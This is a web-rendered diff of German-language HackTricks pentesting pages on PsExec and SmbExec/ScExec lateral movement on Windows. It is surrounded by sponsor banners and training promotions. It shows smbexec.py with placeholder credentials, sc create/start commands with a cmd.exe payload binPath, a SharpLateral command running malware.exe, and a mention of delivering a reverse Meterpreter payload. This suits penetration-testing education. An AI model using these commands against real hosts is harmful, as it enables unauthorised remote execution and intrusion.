**Sie könnten auch die Windows Sysinternals-Binärdatei PsExec.exe verwenden:**
|
||||
|
||||
|
@ -50,6 +54,10 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -60,7 +68,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,28 @@
|
|||
# SmbExec/ScExec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Wie es funktioniert
|
||||
|
||||
**Smbexec** ist ein Tool, das für die Ausführung von Remote-Befehlen auf Windows-Systemen verwendet wird, ähnlich wie **Psexec**, aber es vermeidet es, schädliche Dateien auf dem Zielsystem abzulegen.
|
||||
|
@ -22,20 +30,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
### Wichtige Punkte zu **SMBExec**
|
||||
|
||||
- Es funktioniert, indem es einen temporären Dienst (zum Beispiel "BTOBTO") auf der Zielmaschine erstellt, um Befehle über cmd.exe (%COMSPEC%) auszuführen, ohne Binärdateien abzulegen.
|
||||
- Trotz seines stealthy Ansatzes generiert es Protokolle für jedes ausgeführte Kommando, was eine Form von nicht-interaktivem "Shell" bietet.
|
||||
- Trotz seines stealthy Ansatzes generiert es Ereignisprotokolle für jeden ausgeführten Befehl und bietet eine Form von nicht-interaktivem "Shell".
|
||||
- Der Befehl zur Verbindung mit **Smbexec** sieht folgendermaßen aus:
|
||||
```bash
|
||||
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||
```
|
||||
### Befehle ohne Binärdateien ausführen
|
||||
|
||||
- **Smbexec** ermöglicht die direkte Ausführung von Befehlen über Dienstbinärpfade, wodurch die Notwendigkeit physischer Binärdateien auf dem Ziel entfällt.
|
||||
- Diese Methode ist nützlich, um einmalige Befehle auf einem Windows-Ziel auszuführen. Zum Beispiel ermöglicht die Kombination mit dem `web_delivery`-Modul von Metasploit die Ausführung eines PowerShell-zielgerichteten Reverse-Meterpreter-Payloads.
|
||||
- Durch das Erstellen eines Remote-Dienstes auf dem Rechner des Angreifers mit binPath, der so eingestellt ist, dass der bereitgestellte Befehl über cmd.exe ausgeführt wird, ist es möglich, den Payload erfolgreich auszuführen, einen Callback zu erreichen und die Payload mit dem Metasploit-Listener auszuführen, selbst wenn Dienstantwortfehler auftreten.
|
||||
- **Smbexec** ermöglicht die direkte Ausführung von Befehlen über Service-BinPaths, wodurch die Notwendigkeit physischer Binärdateien auf dem Ziel entfällt.
|
||||
- Diese Methode ist nützlich, um einmalige Befehle auf einem Windows-Ziel auszuführen. Zum Beispiel ermöglicht die Kombination mit Metasploit's `web_delivery`-Modul die Ausführung eines PowerShell-zielgerichteten Reverse-Meterpreter-Payloads.
|
||||
- Durch die Erstellung eines Remote-Services auf dem Rechner des Angreifers mit binPath, der so eingestellt ist, dass der bereitgestellte Befehl über cmd.exe ausgeführt wird, ist es möglich, den Payload erfolgreich auszuführen, einen Callback und die Payload-Ausführung mit dem Metasploit-Listener zu erreichen, selbst wenn Fehler bei der Service-Antwort auftreten.
|
||||
|
||||
### Beispielbefehle
|
||||
|
||||
Das Erstellen und Starten des Dienstes kann mit den folgenden Befehlen durchgeführt werden:
|
||||
Die Erstellung und der Start des Services können mit den folgenden Befehlen durchgeführt werden:
|
||||
```bash
|
||||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
|
@ -45,13 +53,21 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
## References
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Holen Sie sich die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,9 +15,16 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Zugang heute erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
## Wie funktionieren sie
|
||||
|
||||
Der Prozess wird in den folgenden Schritten skizziert, die veranschaulichen, wie Dienst-Binärdateien manipuliert werden, um eine Remote-Ausführung auf einem Zielcomputer über SMB zu erreichen:
|
||||
Der Prozess ist in den folgenden Schritten skizziert, die zeigen, wie Dienst-Binärdateien manipuliert werden, um eine Remote-Ausführung auf einem Zielcomputer über SMB zu erreichen:
|
||||
|
||||
1. **Kopieren einer Dienst-Binärdatei in den ADMIN$-Freigabe über SMB** wird durchgeführt.
|
||||
2. **Erstellung eines Dienstes auf dem Remote-Computer** erfolgt durch Verweisen auf die Binärdatei.
|
||||
|
@ -52,6 +59,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und **zu automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Zugang heute erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
Loading…
Reference in a new issue